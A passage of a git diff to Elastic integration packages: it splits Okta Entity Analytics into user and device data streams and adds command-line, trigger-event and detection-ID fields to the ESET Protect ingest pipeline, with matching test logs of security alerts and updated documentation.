- target_dataset: entityanalytics_okta.device + if: ctx.device?.id != null + namespace: + - "{{data_stream.namespace}}" + - default + - target_dataset: entityanalytics_okta.user + if: ctx.user?.id != null + namespace: + - "{{data_stream.namespace}}" + - default diff --git a/packages/entityanalytics_okta/data_stream/entity/sample_event.json b/packages/entityanalytics_okta/data_stream/entity/sample_event.json new file mode 100644 index 00000000000..b14f46f0763 --- /dev/null +++ b/packages/entityanalytics_okta/data_stream/entity/sample_event.json @@ -0,0 +1,43 @@ +{ + "@timestamp": "2025-02-17T01:32:37.018Z", + "agent": { + "ephemeral_id": "5565e14c-c3d1-4168-9860-fb280f704fad", + "id": "f1b6848f-87f5-4d0e-8dae-49fb70d285f6", + "name": "elastic-agent-11615", + "type": "filebeat", + "version": "8.15.0" + }, + "data_stream": { + "dataset": "entityanalytics_okta.entity", + "namespace": "71124", + "type": "logs" + }, + "ecs": { + "version": "8.11.0" + }, + "elastic_agent": { + "id": "f1b6848f-87f5-4d0e-8dae-49fb70d285f6", + "snapshot": false, + "version": "8.15.0" + }, + "event": { + "action": "started", + "agent_id_status": "verified", + "dataset": "entityanalytics_okta.entity", + "ingested": "2025-02-17T01:32:38Z", + "kind": "asset", + "start": "2025-02-17T01:32:37.018Z" + }, + "input": { + "type": "entity-analytics" + }, + "labels": { + "identity_source": "entity-analytics-entityanalytics_okta.entity-e600b1a8-23ab-4aa5-9694-d245bc06b6ed" + }, + "tags": [ + "preserve_original_event", + "preserve_duplicate_custom_fields", + "forwarded", + "entityanalytics_okta-entity" + ] +} diff --git a/packages/entityanalytics_okta/data_stream/user/manifest.yml b/packages/entityanalytics_okta/data_stream/user/manifest.yml index 7cedaaf3cb9..18d0c6c9b80 100644 --- a/packages/entityanalytics_okta/data_stream/user/manifest.yml +++ b/packages/entityanalytics_okta/data_stream/user/manifest.yml @@ -1,145 +1,3 @@ title: Collect User Identities logs from Okta +dataset: entityanalytics_okta.user type: logs -streams: - - input: entity-analytics - title: User Identities logs - description: Collect User Identities logs from Okta. - template_path: entity-analytics.yml.hbs - vars: - - name: okta_domain - type: text - title: Domain - multi: false - required: true - show_user: true - description: The Okta domain. - - name: okta_token - type: password - title: Okta API Token - multi: false - required: true - show_user: true - description: The Okta API token, used for authentication. - secret: true - - name: dataset - type: select - title: Okta Dataset - multi: false - required: false - show_user: true - description: The dataset to collect from the API. Selecting all or devices requires that the devices API has been activated in Okta. Note that this option has no effect when the stack version is below 8.11. - options: - - value: all - text: all - - value: users - text: users - - value: devices - text: devices - default: users - - name: sync_interval - type: text - title: Sync Interval - description: How often full synchronizations should occur. Must be greater than Update Interval. Expected value is a duration string (15m, 1h, 1m30, etc), defaults to 24h. Supported units for this parameter are h/m/s. - multi: false - required: true - show_user: true - default: 24h - - name: update_interval - type: text - title: Update Interval - description: How often incremental updates should occur. Must be less than Sync Interval. Expected value is a duration string (15m, 1h, 1m30, etc), defaults to 15m. Supported units for this parameter are h/m/s. - default: 15m - multi: false - required: true - show_user: true - - name: id - type: text - title: Input ID - description: Identity Source. Which will be added to every event as a label. - multi: false - required: false - show_user: false - - name: http_client_timeout - type: text - title: HTTP Client Timeout - description: Duration before declaring that the HTTP client connection has timed out. Valid time units are ns, us, ms, s, m, h. - multi: false - required: true - show_user: false - default: 30s - - name: proxy_url - type: text - title: Proxy URL - multi: false - required: false - show_user: false - description: URL to proxy connections in the form of http[s]://:@:. Please ensure your username and password are in URL encoded format. - - name: ssl - type: yaml - title: SSL Configuration - description: SSL configuration options. See [documentation](https://www.elastic.co/guide/en/beats/filebeat/current/configuration-ssl.html#ssl-common-config) for details. - multi: false - required: false - show_user: false - default: | - #certificate_authorities: - # - | - # -----BEGIN CERTIFICATE----- - # MIIDCjCCAfKgAwIBAgITJ706Mu2wJlKckpIvkWxEHvEyijANBgkqhkiG9w0BAQsF - # ADAUMRIwEAYDVQQDDAlsb2NhbGhvc3QwIBcNMTkwNzIyMTkyOTA0WhgPMjExOTA2 - # MjgxOTI5MDRaMBQxEjAQBgNVBAMMCWxvY2FsaG9zdDCCASIwDQYJKoZIhvcNAQEB - # BQADggEPADCCAQoCggEBANce58Y/JykI58iyOXpxGfw0/gMvF0hUQAcUrSMxEO6n - # fZRA49b4OV4SwWmA3395uL2eB2NB8y8qdQ9muXUdPBWE4l9rMZ6gmfu90N5B5uEl - # 94NcfBfYOKi1fJQ9i7WKhTjlRkMCgBkWPkUokvBZFRt8RtF7zI77BSEorHGQCk9t - # /D7BS0GJyfVEhftbWcFEAG3VRcoMhF7kUzYwp+qESoriFRYLeDWv68ZOvG7eoWnP - # PsvZStEVEimjvK5NSESEQa9xWyJOmlOKXhkdymtcUd/nXnx6UTCFgnkgzSdTWV41 - # CI6B6aJ9svCTI2QuoIq2HxX/ix7OvW1huVmcyHVxyUECAwEAAaNTMFEwHQYDVR0O - # BBYEFPwN1OceFGm9v6ux8G+DZ3TUDYxqMB8GA1UdIwQYMBaAFPwN1OceFGm9v6ux - # 8G+DZ3TUDYxqMA8GA1UdEwEB/wQFMAMBAf8wDQYJKoZIhvcNAQELBQADggEBAG5D - # 874A4YI7YUwOVsVAdbWtgp1d0zKcPRR+r2OdSbTAV5/gcS3jgBJ3i1BN34JuDVFw - # 3DeJSYT3nxy2Y56lLnxDeF8CUTUtVQx3CuGkRg1ouGAHpO/6OqOhwLLorEmxi7tA - # H2O8mtT0poX5AnOAhzVy7QW0D/k4WaoLyckM5hUa6RtvgvLxOwA0U+VGurCDoctu - # 8F4QOgTAWyh8EZIwaKCliFRSynDpv3JTUwtfZkxo6K6nce1RhCWFAsMvDZL8Dgc0 - # yvgJ38BRsFOtkRuAGSf6ZUwTO8JJRRIFnpUzXflAnGivK9M13D5GEQMmIl6U9Pvk - # sxSmbIUfc2SGJGCJD4I= - # -----END CERTIFICATE----- - - name: enable_request_tracer - type: bool - title: Enable request tracing - multi: false - required: false - show_user: false - description: The request tracer logs requests and responses to the agent's local file-system for debugging configurations. Enabling this request tracing compromises security and should only be used for debugging. See [documentation](https://www.elastic.co/guide/en/beats/filebeat/current/filebeat-input-cel.html#_resource_tracer_filename) for details. - - name: tags - type: text - title: Tags - multi: true - required: true - show_user: false - default: - - forwarded - - entityanalytics_okta-user - - name: preserve_original_event - required: true - show_user: true - title: Preserve original event - description: Preserves a raw copy of the original event, added to the field `event.original`. - type: bool - multi: false - default: false - - name: preserve_duplicate_custom_fields - required: true - show_user: false - title: Preserve duplicate custom fields - description: Preserve entityanalytics_okta.user fields that were copied to Elastic Common Schema (ECS) fields. - type: bool - multi: false - default: false - - name: processors - type: yaml - title: Processors - multi: false - required: false - show_user: false - description: >- - Processors are used to reduce the number of fields in the exported event or to enhance the event with metadata. This executes in the agent before the logs are parsed. See [Processors](https://www.elastic.co/guide/en/beats/filebeat/current/filtering-and-enhancing-data.html) for details. diff --git a/packages/entityanalytics_okta/data_stream/user/sample_event.json b/packages/entityanalytics_okta/data_stream/user/sample_event.json deleted file mode 100644 index dca27a51ef9..00000000000 --- a/packages/entityanalytics_okta/data_stream/user/sample_event.json +++ /dev/null @@ -1,64 +0,0 @@ -{ - "@timestamp": "2024-12-31T12:11:21.622Z", - "agent": { - "ephemeral_id": "c29e9e17-ba86-4877-8c1f-477c825c77ab", - "id": "32153630-b5af-4d10-8d44-6168dfbff6b9", - "name": "elastic-agent-21762", - "type": "filebeat", - "version": "8.15.0" - }, - "asset": { - "category": "entity", - "type": "okta_user" - }, - "data_stream": { - "dataset": "entityanalytics_okta.user", - "namespace": "89318", - "type": "logs" - }, - "ecs": { - "version": "8.11.0" - }, - "elastic_agent": { - "id": "32153630-b5af-4d10-8d44-6168dfbff6b9", - "snapshot": false, - "version": "8.15.0" - }, - "entityanalytics_okta": { - "user": { - "credentials": { - "recovery_question": { - "is_set": false - } - } - } - }, - "event": { - "action": "started", - "agent_id_status": "verified", - "category": [ - "iam" - ], - "dataset": "entityanalytics_okta.user", - "ingested": "2024-12-31T12:11:23Z", - "kind": "asset", - "original": "{\"input\":{\"type\":\"entity-analytics\"},\"agent\":{\"name\":\"elastic-agent-21762\",\"id\":\"32153630-b5af-4d10-8d44-6168dfbff6b9\",\"type\":\"filebeat\",\"ephemeral_id\":\"c29e9e17-ba86-4877-8c1f-477c825c77ab\",\"version\":\"8.15.0\"},\"@timestamp\":\"2024-12-31T12:11:21.622Z\",\"ecs\":{\"version\":\"8.11.0\"},\"data_stream\":{\"namespace\":\"89318\",\"type\":\"logs\",\"dataset\":\"entityanalytics_okta.user\"},\"elastic_agent\":{\"id\":\"32153630-b5af-4d10-8d44-6168dfbff6b9\",\"version\":\"8.15.0\",\"snapshot\":false},\"event\":{\"start\":\"2024-12-31T12:11:21.622Z\",\"action\":\"started\",\"dataset\":\"entityanalytics_okta.user\"},\"tags\":[\"preserve_original_event\",\"preserve_duplicate_custom_fields\",\"forwarded\",\"entityanalytics_okta-user\"],\"labels\":{\"identity_source\":\"entity-analytics-entityanalytics_okta.user-2b35adb3-ef6b-4c4c-b0ae-6d53979a7e1e\"},\"_version_type\":\"internal\",\"_index\":\"logs-entityanalytics_okta.user-89318\",\"_id\":null,\"_version\":-4}", - "start": "2024-12-31T12:11:21.622Z", - "type": [ - "user", - "info" - ] - }, - "input": { - "type": "entity-analytics" - }, - "labels": { - "identity_source": "entity-analytics-entityanalytics_okta.user-2b35adb3-ef6b-4c4c-b0ae-6d53979a7e1e" - }, - "tags": [ - "preserve_original_event", - "preserve_duplicate_custom_fields", - "forwarded", - "entityanalytics_okta-user" - ] -} \ No newline at end of file diff --git a/packages/entityanalytics_okta/docs/README.md b/packages/entityanalytics_okta/docs/README.md index b29a3b4195d..f995d12b2ac 100644 --- a/packages/entityanalytics_okta/docs/README.md +++ b/packages/entityanalytics_okta/docs/README.md @@ -1,16 +1,23 @@ # Okta Entity Analytics -This [Okta Entity Analytics](https://www.okta.com/) integration allows users to securely stream User Entities data to Elastic Security via the REST API. When integrated with Elastic Security, this valuable data can be leveraged within Elastic for risk-scoring scenarios (e.g., context enrichments) and detecting advanced analytics (UBA) use cases. +This [Okta Entity Analytics](https://www.okta.com/) integration allows users to securely stream User and Device Entity data to Elastic Security via the REST API. When integrated with Elastic Security, this valuable data can be leveraged within Elastic for risk-scoring scenarios (e.g., context enrichments) and detecting advanced analytics (UBA) use cases. ## Compatibility This module has been tested against the Core Okta API version **v1**. +## Upgrading to v2 from v1 of the integration + +In v2 of the integration the user and device data was split into separate data streams. The data ingested into your index will be the same but you may need to update device searches if you were using them. + +**NOTE**: When you upgrade from v1 you will need to reconfigure the integration and enable it due to internal changes in the package. See [Resolve conflicts](https://www.elastic.co/guide/en/fleet/current/upgrade-integration.html#resolve-conflicts) in the Fleet documentation for details. + ## Data streams -The Okta Entity Analytics integration collects one type of data: user. +The Okta Entity Analytics integration collects two types of data: user and device. **User** is used to retrieve all user logs available in an organization. See more details in the API documentation [here](https://developer.okta.com/docs/reference/api/users/#list-users). +**Device** is used to retrieve all device logs available in an organization. See more details in the API documentation [here](https://developer.okta.com/docs/api/openapi/okta-management/management/tag/Device/#tag/Device/operation/listDevices). ## Requirements @@ -56,9 +63,9 @@ The minimum **kibana.version** required is **8.9.0**. ## Usage -The Okta provider periodically contacts the Okta API, retrieving updates for users, updates its internal cache of user metadata, and ships updated user metadata to Elasticsearch. +The Okta provider periodically contacts the Okta API, retrieving updates for users and devices, updates its internal cache of user/device metadata, and ships the updated metadata to Elasticsearch. -Fetching and shipping updates occurs in one of two processes: **full synchronizations** and **incremental updates**. Full synchronizations will send the entire list of users in state, along with write markers to indicate the start and end of the synchronization event. Incremental updates will only send data for changed users during that event. Changes on a user can come in many forms, whether it be a change to the user’s metadata, or a user was added or deleted. By default, full synchronizations occur every 24 hours and incremental updates occur every 15 minutes. These intervals may be customized to suit your use case. +Fetching and shipping updates occurs in one of two processes: **full synchronizations** and **incremental updates**. Full synchronizations will send the entire list of users and devices in state, along with write markers to indicate the start and end of the synchronization event. Incremental updates will only send data for changed users/devices during that event. Changes can come in many forms, whether it be a change to the user’s or device’s metadata, or a user or device was added or deleted. By default, full synchronizations occur every 24 hours and incremental updates occur every 15 minutes. These intervals may be customized to suit your use case. ## Sample Events @@ -110,6 +117,106 @@ A user document: } ``` +A device document: + +```json +{ + "@timestamp": "2023-07-04T09:57:19.786056-05:00", + "event": { + "action": "device-discovered", + }, + "okta": { + "created": "2019-10-02T18:03:07Z", + "id": "deviceid", + "lastUpdated": "2019-10-02T18:03:07Z", + "profile": { + "diskEncryptionType": "ALL_INTERNAL_VOLUMES", + "displayName": "Example Device name 1", + "platform": "WINDOWS", + "registered": true, + "secureHardwarePresent": false, + "serialNumber": "XXDDRFCFRGF3M8MD6D", + "sid": "S-1-11-111" + }, + "resourceAlternateID": "", + "resourceDisplayName": { + "sensitive": false, + "value": "Example Device name 1" + }, + "resourceID": "deviceid", + "resourceType": "UDDevice", + "status": "ACTIVE", + "_links": { + "activate": { + "hints": { + "allow": [ + "POST" + ] + }, + "href": "https://localhost/api/v1/devices/deviceid/lifecycle/activate" + }, + "self": { + "hints": { + "allow": [ + "GET", + "PATCH", + "PUT" + ] + }, + "href": "https://localhost/api/v1/devices/deviceid" + }, + "users": { + "hints": { + "allow": [ + "GET" + ] + }, + "href": "https://localhost/api/v1/devices/deviceid/users" + } + }, + "users": [ + { + "id": "userid", + "status": "RECOVERY", + "created": "2023-05-14T13:37:20Z", + "activated": "0001-01-01T00:00:00Z", + "statusChanged": "2023-05-15T01:50:30Z", + "lastLogin": "2023-05-15T01:59:20Z", + "lastUpdated": "2023-05-15T01:50:32Z", + "passwordChanged": "2023-05-15T01:50:32Z", + "type": { + "id": "typeid" + }, + "profile": { + "login": "name.surname@example.com", + "email": "name.surname@example.com", + "firstName": "name", + "lastName": "surname" + }, + "credentials": { + "password": {}, + "provider": { + "type": "OKTA", + "name": "OKTA" + } + }, + "_links": { + "self": { + "href": "https://localhost/api/v1/users/userid" + } + } + } + ] + }, + "device": { + "id": "deviceid", + }, + "labels": { + "identity_source": "okta-1" + } +} +``` + Full synchronizations will be bounded on either side by "write marker" documents. ```json @@ -127,80 +234,84 @@ Full synchronizations will be bounded on either side by "write marker" documents ## Logs reference -### User +### Device -This is the `User` dataset. +This is the `Device` dataset. + +**Exported fields** + +| Field | Description | Type | +|---|---|---| +| @timestamp | Event timestamp. | date | +| asset.category | | keyword | +| asset.costCenter | | keyword | +| asset.create_date | | date | +| asset.id | | keyword | +| asset.last_seen | | date | +| asset.last_status_change_date | | date | +| asset.last_updated | | date | +| asset.name | | keyword | +| asset.status | | keyword | +| asset.type | | keyword | +| asset.vendor | | keyword | +| data_stream.dataset | Data stream dataset. | constant_keyword | +| data_stream.namespace | Data stream namespace. | constant_keyword | +| data_stream.type | Data stream type. | constant_keyword | +| device.serial_number | The unique serial number serves as a distinct identifier for each device, aiding in inventory management and device authentication. | keyword | +| entityanalytics_okta.device._embedded | embedded resources related to the device. | flattened | +| entityanalytics_okta.device._links | link relations for the device's current status. | flattened | +| entityanalytics_okta.device.activated | timestamp when transition to ACTIVE status completed. | date | +| entityanalytics_okta.device.created | timestamp when device was created. | date | +| entityanalytics_okta.device.id | unique key for device. | keyword | +| entityanalytics_okta.device.last_login | timestamp of last login. | date | +| entityanalytics_okta.device.last_updated | timestamp when device was last updated. | date | +| entityanalytics_okta.device.password_changed | timestamp when password last changed. | date | +| entityanalytics_okta.device.profile.\* | | keyword | +| entityanalytics_okta.device.profile.registered | Whether the device is registered. | boolean | +| entityanalytics_okta.device.profile.secure_hardware_present | Whether the device is using secure hardware. | boolean | +| entityanalytics_okta.device.status | current status of device. | keyword | +| entityanalytics_okta.device.status_changed | timestamp when status last changed. | date | +| entityanalytics_okta.device.transitioning_to_status | target status of an in-progress asynchronous status transition. | keyword | +| entityanalytics_okta.device.type | device type that determines the schema for the device's profile. | flattened | +| entityanalytics_okta.device.users | Users associated with the device. | flattened | +| event.dataset | Event dataset. | constant_keyword | +| event.module | Event module. | constant_keyword | +| input.type | Type of filebeat input. | keyword | +| labels.identity_source | | keyword | +| log.offset | Log offset. | long | +| user.account.activated_date | | date | +| user.account.change_date | | date | +| user.account.create_date | | date | +| user.account.password_change_date | | date | +| user.account.status.deprovisioned | | boolean | +| user.account.status.locked_out | | boolean | +| user.account.status.password_expired | | boolean | +| user.account.status.recovery | | boolean | +| user.account.status.suspended | | boolean | +| user.geo.city_name | | keyword | +| user.geo.country_iso_code | | keyword | +| user.geo.name | | keyword | +| user.geo.postal_code | | keyword | +| user.geo.region_name | | keyword | +| user.geo.timezone | | keyword | +| user.organization.name | | keyword | +| user.profile.department | | keyword | +| user.profile.first_name | | keyword | +| user.profile.id | | keyword | +| user.profile.job_title | | keyword | +| user.profile.last_name | | keyword | +| user.profile.manager | | keyword | +| user.profile.mobile_phone | | keyword | +| user.profile.other_identities | | keyword | +| user.profile.primaryPhone | | keyword | +| user.profile.secondEmail | | keyword | +| user.profile.status | | keyword | +| user.profile.type | | keyword | -#### Example -An example event for `user` looks as following: +### User -```json -{ - "@timestamp": "2024-12-31T12:11:21.622Z", - "agent": { - "ephemeral_id": "c29e9e17-ba86-4877-8c1f-477c825c77ab", - "id": "32153630-b5af-4d10-8d44-6168dfbff6b9", - "name": "elastic-agent-21762", - "type": "filebeat", - "version": "8.15.0" - }, - "asset": { - "category": "entity", - "type": "okta_user" - }, - "data_stream": { - "dataset": "entityanalytics_okta.user", - "namespace": "89318", - "type": "logs" - }, - "ecs": { - "version": "8.11.0" - }, - "elastic_agent": { - "id": "32153630-b5af-4d10-8d44-6168dfbff6b9", - "snapshot": false, - "version": "8.15.0" - }, - "entityanalytics_okta": { - "user": { - "credentials": { - "recovery_question": { - "is_set": false - } - } - } - }, - "event": { - "action": "started", - "agent_id_status": "verified", - "category": [ - "iam" - ], - "dataset": "entityanalytics_okta.user", - "ingested": "2024-12-31T12:11:23Z", - "kind": "asset", - "original": "{\"input\":{\"type\":\"entity-analytics\"},\"agent\":{\"name\":\"elastic-agent-21762\",\"id\":\"32153630-b5af-4d10-8d44-6168dfbff6b9\",\"type\":\"filebeat\",\"ephemeral_id\":\"c29e9e17-ba86-4877-8c1f-477c825c77ab\",\"version\":\"8.15.0\"},\"@timestamp\":\"2024-12-31T12:11:21.622Z\",\"ecs\":{\"version\":\"8.11.0\"},\"data_stream\":{\"namespace\":\"89318\",\"type\":\"logs\",\"dataset\":\"entityanalytics_okta.user\"},\"elastic_agent\":{\"id\":\"32153630-b5af-4d10-8d44-6168dfbff6b9\",\"version\":\"8.15.0\",\"snapshot\":false},\"event\":{\"start\":\"2024-12-31T12:11:21.622Z\",\"action\":\"started\",\"dataset\":\"entityanalytics_okta.user\"},\"tags\":[\"preserve_original_event\",\"preserve_duplicate_custom_fields\",\"forwarded\",\"entityanalytics_okta-user\"],\"labels\":{\"identity_source\":\"entity-analytics-entityanalytics_okta.user-2b35adb3-ef6b-4c4c-b0ae-6d53979a7e1e\"},\"_version_type\":\"internal\",\"_index\":\"logs-entityanalytics_okta.user-89318\",\"_id\":null,\"_version\":-4}", - "start": "2024-12-31T12:11:21.622Z", - "type": [ - "user", - "info" - ] - }, - "input": { - "type": "entity-analytics" - }, - "labels": { - "identity_source": "entity-analytics-entityanalytics_okta.user-2b35adb3-ef6b-4c4c-b0ae-6d53979a7e1e" - }, - "tags": [ - "preserve_original_event", - "preserve_duplicate_custom_fields", - "forwarded", - "entityanalytics_okta-user" - ] -} -``` +This is the `User` dataset. **Exported fields** diff --git a/packages/entityanalytics_okta/manifest.yml b/packages/entityanalytics_okta/manifest.yml index 8c1e2d8ddf8..168accfbe93 100644 --- a/packages/entityanalytics_okta/manifest.yml +++ b/packages/entityanalytics_okta/manifest.yml @@ -1,14 +1,14 @@ format_version: "3.0.2" name: entityanalytics_okta title: Okta Entity Analytics -version: "1.8.1" -description: "Collect User Identities from Okta with Elastic Agent." +version: "2.1.0" +description: "Collect Identities from Okta with Elastic Agent." type: integration categories: - security conditions: kibana: - version: "^8.15.0" + version: "^8.15.0 || ^9.0.0" elastic: subscription: "basic" screenshots: @@ -27,12 +27,12 @@ icons: type: image/svg+xml dark_mode: true policy_templates: - - name: user - title: User Identities - description: Collect user identities. + - name: entity + title: Identities + description: Collect identities. inputs: - type: entity-analytics - title: Collect user identities + title: Collect identities description: Collecting identities from Okta. owner: github: elastic/security-service-integrations diff --git a/packages/eset_protect/changelog.yml b/packages/eset_protect/changelog.yml index 5afbfb2dd81..89a68de150a 100644 --- a/packages/eset_protect/changelog.yml +++ b/packages/eset_protect/changelog.yml @@ -1,4 +1,14 @@ # newer versions go on top +- version: "1.6.1" + changes: + - description: Add missing field support. + type: bugfix + link: https://github.com/elastic/integrations/pull/12934 +- version: "1.6.0" + changes: + - description: Update Kibana constraint to support 9.0.0. + type: enhancement + link: https://github.com/elastic/integrations/pull/12919 - version: "1.5.1" changes: - description: Updated SSL description to be uniform and to include links to documentation. diff --git a/packages/eset_protect/data_stream/event/_dev/test/pipeline/test-event.log b/packages/eset_protect/data_stream/event/_dev/test/pipeline/test-event.log index 68ed05019f7..3a748d5bc28 100644 --- a/packages/eset_protect/data_stream/event/_dev/test/pipeline/test-event.log +++ b/packages/eset_protect/data_stream/event/_dev/test/pipeline/test-event.log @@ -22,3 +22,4 @@ {"event_type":"FirewallAggregated_Event","ipv4":"1.128.0.5","hostname":"machine4","source_uuid":"c539dbdf-2063-477b-81d7-8081a6f7a080","occured":"12-Mar-2024 11:00:26","severity":"Fatal","event":"Web threat","source_address":"192.168.30.32","source_address_type":"IPv4","source_port":37966,"target_address":"1.128.0.5","target_address_type":"IPv4","target_port":49677,"protocol":"TCP","account":"NT AUTHORITY\\SYSTEM","process_name":"C:\\Windows\\System32\\lsass.exe","inbound":true,"threat_name":"RPC/Exploit.CVE-2020-1472","aggregate_count":1} {"event_type":"Threat_Event","ipv4":"192.168.30.31","hostname":"machine5","source_uuid":"f193d96b-cbd8-4402-94fc-6993efc30b11","occured":"11-Mar-2024 05:56:58","severity":"Warning","threat_type":"Trojan","threat_name":"LNK/Agent.BZ","scanner_id":"Real-time file system protection","scan_id":"virlog.dat","engine_version":"28873 (20240310)","object_type":"File","object_uri":"file:///E:/Removable Drive (1GB).lnk","action_taken":"Cleaned by deleting","threat_handled":true,"need_restart":false,"username":"machine5\\Administrator","processname":"C:\\Windows\\explorer.exe","circumstances":"Event occurred during an attempt to access the file.","firstseen":"28-Jul-2021 07:20:55","hash":"1A45EBA0F9EF909E6F3C87B0D5CEDAD27BDB6CF2"} {"event_type":"Threat_Event","ipv4":"192.168.112.128","ipv6":"","hostname":"kate-ebademo","source_uuid":"16b429cb-c064-4a31-98ba-62fff54f0c96","os_name":"Microsoft Windows 11 Pro","occured":"27-Mar-2024 09:54:20","group_name":"All","group_description":"","severity":"Warning","threat_type":"Trojan","threat_name":"VBS\/TrojanDownloader.Agent.YUI","threat_flags":"","scanner_id":"Script scanner","scan_id":"virlog.dat","engine_version":"28962 (20240327)","object_type":"File","object_uri":"script","action_taken":"Blocked","action_error":"","threat_handled":"true","need_restart":"false","username":"KATE-EBADEMO\\Kate","processname":"PowerShell_C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe_10.0.22621.1","circumstances":"","firstseen":"","hash":"22B9B35A804A7A3739CBD007E00959075AECF0FC"} +{"event_type":"ESET Inspect Alert","ipv4":"10.0.0.47","ipv6":"","hostname":"wsu-pf3r12l5","source_uuid":"08764ed7-7480-482a-8eaa-da8e2084fe22","os_name":"Microsoft Windows 11 Business","occured":"25-Feb-2025 13:57:46","group_name":"All","group_description":"","severity":"Information","processname":"%SYSTEM%\\taskkill.exe","username":"nt authority\\local service","rulename":"Processes killing from command line [B0401]","count":"1","eiconsolelink":"https://inspect.eset.com:443/console/detection/993374","resolved":"","hash":"912DC85EAFCE7FC20247715ADC5ACB4C43555BC8","computer_severity_score":"20","severity_score":"34","trigger_event":"%SYSTEM%\\cmd.exe","command_line":"/PID 21288 /F","detection_uuid":"3f3f5a5a-87de-49f2-adaf-e2158d8666a7"} diff --git a/packages/eset_protect/data_stream/event/_dev/test/pipeline/test-event.log-expected.json b/packages/eset_protect/data_stream/event/_dev/test/pipeline/test-event.log-expected.json index 5f00d7d9a89..71339468c12 100644 --- a/packages/eset_protect/data_stream/event/_dev/test/pipeline/test-event.log-expected.json +++ b/packages/eset_protect/data_stream/event/_dev/test/pipeline/test-event.log-expected.json @@ -2272,6 +2272,88 @@ "domain": "KATE-EBADEMO", "name": "Kate" } + }, + { + "@timestamp": "2025-02-25T13:57:46.000Z", + "ecs": { + "version": "8.11.0" + }, + "eset_protect": { + "event": { + "command_line": "/PID 21288 /F", + "computer_severity_score": 20, + "count": 1, + "detection_uuid": "3f3f5a5a-87de-49f2-adaf-e2158d8666a7", + "eiconsolelink": "https://inspect.eset.com:443/console/detection/993374", + "group_name": "All", + "hash": "912DC85EAFCE7FC20247715ADC5ACB4C43555BC8", + "hostname": "wsu-pf3r12l5", + "ipv4": "10.0.0.47", + "is_handled": false, + "occured": "2025-02-25T13:57:46.000Z", + "os_name": "Microsoft Windows 11 Business", + "processname": "%SYSTEM%\\taskkill.exe", + "rulename": "Processes killing from command line [B0401]", + "severity": "Information", + "severity_score": 34, + "source_uuid": "08764ed7-7480-482a-8eaa-da8e2084fe22", + "trigger_event": "%SYSTEM%\\cmd.exe", + "type": "ESET Inspect Alert", + "username": "nt authority\\local service" + } + }, + "event": { + "kind": "alert", + "original": "{\"event_type\":\"ESET Inspect Alert\",\"ipv4\":\"10.0.0.47\",\"ipv6\":\"\",\"hostname\":\"wsu-pf3r12l5\",\"source_uuid\":\"08764ed7-7480-482a-8eaa-da8e2084fe22\",\"os_name\":\"Microsoft Windows 11 Business\",\"occured\":\"25-Feb-2025 13:57:46\",\"group_name\":\"All\",\"group_description\":\"\",\"severity\":\"Information\",\"processname\":\"%SYSTEM%\\\\taskkill.exe\",\"username\":\"nt authority\\\\local service\",\"rulename\":\"Processes killing from command line [B0401]\",\"count\":\"1\",\"eiconsolelink\":\"https://inspect.eset.com:443/console/detection/993374\",\"resolved\":\"\",\"hash\":\"912DC85EAFCE7FC20247715ADC5ACB4C43555BC8\",\"computer_severity_score\":\"20\",\"severity_score\":\"34\",\"trigger_event\":\"%SYSTEM%\\\\cmd.exe\",\"command_line\":\"/PID 21288 /F\",\"detection_uuid\":\"3f3f5a5a-87de-49f2-adaf-e2158d8666a7\"}", + "reference": "https://inspect.eset.com:443/console/detection/993374", + "severity": 34, + "type": [ + "info" + ] + }, + "group": { + "name": "All" + }, + "host": { + "hostname": "wsu-pf3r12l5", + "id": "08764ed7-7480-482a-8eaa-da8e2084fe22", + "ip": [ + "10.0.0.47" + ], + "name": "wsu-pf3r12l5", + "os": { + "name": "Microsoft Windows 11 Business" + } + }, + "process": { + "executable": "%SYSTEM%\\taskkill.exe", + "name": "taskkill.exe" + }, + "related": { + "hash": [ + "912dc85eafce7fc20247715adc5acb4c43555bc8" + ], + "hosts": [ + "wsu-pf3r12l5", + "08764ed7-7480-482a-8eaa-da8e2084fe22" + ], + "ip": [ + "10.0.0.47" + ], + "user": [ + "nt authority\\local service" + ] + }, + "rule": { + "name": "Processes killing from command line [B0401]" + }, + "tags": [ + "preserve_original_event", + "preserve_duplicate_custom_fields" + ], + "user": { + "name": "nt authority\\local service" + } } ] -} \ No newline at end of file +} diff --git a/packages/eset_protect/data_stream/event/elasticsearch/ingest_pipeline/default.yml b/packages/eset_protect/data_stream/event/elasticsearch/ingest_pipeline/default.yml index de5122c0f4c..0346b656675 100644 --- a/packages/eset_protect/data_stream/event/elasticsearch/ingest_pipeline/default.yml +++ b/packages/eset_protect/data_stream/event/elasticsearch/ingest_pipeline/default.yml @@ -385,6 +385,16 @@ processors: tag: rename_event target_field: eset_protect.event.name ignore_missing: true + - rename: + field: json.trigger_event + tag: rename_trigger_event + target_field: eset_protect.event.trigger_event + ignore_missing: true + - rename: + field: json.detection_uuid + tag: rename_detection_uuid + target_field: eset_protect.event.detection_uuid + ignore_missing: true - set: field: message tag: set_message_from_event_name @@ -527,6 +537,11 @@ processors: tag: set_process_executable_from_event_processname copy_from: eset_protect.event.processname ignore_empty_value: true + - rename: + field: json.command_line + tag: rename_command_line + target_field: eset_protect.event.command_line + ignore_missing: true - grok: field: eset_protect.event.processname tag: grok_processname diff --git a/packages/eset_protect/data_stream/event/fields/fields.yml b/packages/eset_protect/data_stream/event/fields/fields.yml index ddd7ea147cc..2d18712c5e7 100644 --- a/packages/eset_protect/data_stream/event/fields/fields.yml +++ b/packages/eset_protect/data_stream/event/fields/fields.yml @@ -30,6 +30,9 @@ - name: computer_severity_score type: long description: Computer severity score associated with the event. + - name: command_line + type: keyword + description: Command line of process which triggered detection. - name: count type: long description: Number of alerts of this type generated since last alarm. @@ -39,6 +42,9 @@ - name: detail type: keyword description: Detailed description of the action. + - name: detection_uuid + type: keyword + description: A detection's unique identifier can be used to query details via ESET CONNECT API. - name: domain type: keyword description: Audit log domain. @@ -165,6 +171,9 @@ - name: threat_type type: keyword description: Type of detection. + - name: trigger_event + type: keyword + description: Description of event which triggered detection. - name: type type: keyword description: Type of exported events. diff --git a/packages/eset_protect/docs/README.md b/packages/eset_protect/docs/README.md index 8b19005369b..fad72ef8890 100644 --- a/packages/eset_protect/docs/README.md +++ b/packages/eset_protect/docs/README.md @@ -570,10 +570,12 @@ An example event for `event` looks as following: | eset_protect.event.application | Application name associated with the event. | keyword | | eset_protect.event.cause | | keyword | | eset_protect.event.circumstances | Short description of what caused the event. | keyword | +| eset_protect.event.command_line | Command line of process which triggered detection. | keyword | | eset_protect.event.computer_severity_score | Computer severity score associated with the event. | long | | eset_protect.event.count | Number of alerts of this type generated since last alarm. | long | | 